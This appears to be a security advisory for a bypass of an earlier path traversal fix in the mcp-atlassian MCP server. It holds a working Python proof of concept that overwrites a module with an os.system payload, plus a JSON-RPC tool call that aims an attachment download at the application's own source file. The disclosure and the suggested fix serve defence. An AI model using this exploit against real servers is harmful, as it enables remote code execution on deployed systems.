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MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)

CVE-2026-77271 · 2026-09-22 high

Class
MCP and Tool Server Flaws (filed by a model that read the advisory)
Technique
Code and command execution
Also involves
AI Framework and Platform Flaws
Affected
mcp-atlassian (PyPI)
Gets past
Earlier patch
CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
EPSS
0.6% chance of exploitation in 30 days

How it works, in short

An incomplete traversal fix still lets attachment downloads overwrite application source modules in the working directory, so injected code runs on restart. (Our summary, written by a model. The source text is below.)

Details

Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validate_safe_path() is called without an explicit base_dir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without
raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

Details

src/mcp_atlassian/utils/io.py — validate_safe_path() defaults to CWD when no base_dir is supplied:

def validate_safe_path(path, base_dir=None) -> Path:
    if base_dir is None:
        base_dir = os.getcwd()       # root of the issue
    resolved_base = Path(base_dir).resolve(strict=False)
    ...
    if not resolved_path.is_relative_to(resolved_base):
        raise ValueError("Path traversal detected")

Both call sites in src/mcp_atlassian/confluence/attachments.py omit base_dir:

validate_safe_path(target_path)   # line ~227, download_attachment()
validate_safe_path(target_dir)    # line ~270, download_content_attachments()

When the process CWD is /app, any path under /app satisfies is_relative_to(CWD) and passes the guard, including all Python source modules:

/app/src/mcp_atlassian/confluence/attachments.py  -> passes, no exception
/app/src/mcp_atlassian/servers/main.py            -> passes, no exception
/app/.env                                          -> passes, no exception

PoC

Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port.
Additionally requires Python 3.10+ and uvx to run the proof below.

The script imports validate_safe_path directly from the installed package, not a simulation of the function.

# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path  # real package

print(f"Module: {validate_safe_path.__module__}")

# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)

# Control: classic traversal is blocked
try:
    validate_safe_path("/etc/passwd")
except ValueError:
    print("[OK]     /etc/passwd blocked")

# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")

# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
    b"import os\n_PWNED=True\n"
    b"def get_secret():\n"
    b"    os.system('id')\n"
    b"    return 'PWNED'\n"
)
print("[WRITE]  Module overwritten with malicious payload")

# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)   # os.system('id') executes here

print(f"[RCE]    get_secret() = {repr(mod.get_secret())}")
print(f"[RCE]    _PWNED = {mod._PWNED}")

shutil.rmtree(app_dir)
uvx --from mcp-atlassian python poc_bypass.py

Verified output (mcp-atlassian 0.21.0):

Module: mcp_atlassian.utils.io

[OK]     /etc/passwd blocked
[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised
[WRITE]  Module overwritten with malicious payload
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[RCE]    get_secret() = 'PWNED'
[RCE]    _PWNED = True

Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "confluence_download_attachment",
    "arguments": {
      "page_id":       "<page_id>",
      "attachment_id": "<malicious_attachment_id>",
      "download_path": "/app/src/mcp_atlassian/confluence/attachments.py"
    }
  }
}

validate_safe_path does not raise. The module is overwritten and the payload executes on the next process restart.

Impact

Affected versions: 0.17.0 through 0.21.0 (latest).

Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.

Suggested fix: pass a dedicated, explicitly configured directory as base_dir instead of relying on CWD:

_DOWNLOAD_BASE = Path(
    os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads")
).resolve()

validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)

References

Source: GitHub Advisory Database, used under CC BY 4.0.